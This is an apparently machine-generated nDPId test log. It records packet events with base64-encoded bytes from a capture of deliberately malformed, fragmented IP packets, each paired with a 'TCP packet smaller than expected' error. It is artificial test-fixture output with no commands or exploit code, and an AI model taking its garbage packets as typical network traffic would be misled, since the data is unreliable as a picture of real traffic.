-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954722} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954730} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954739} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954748} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954760} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954769} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954776} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954784} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954791} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954801} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954809} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954817} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954825} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954832} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954838} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954846} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954853} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954860} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954872} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954885} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954895} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954902} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954909} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954920} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954930} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954938} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954946} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954953} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954960} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954968} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954977} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954985} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028954993} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955000} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955008} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955015} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955023} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955031} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955038} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955045} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955053} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955061} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955068} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955076} 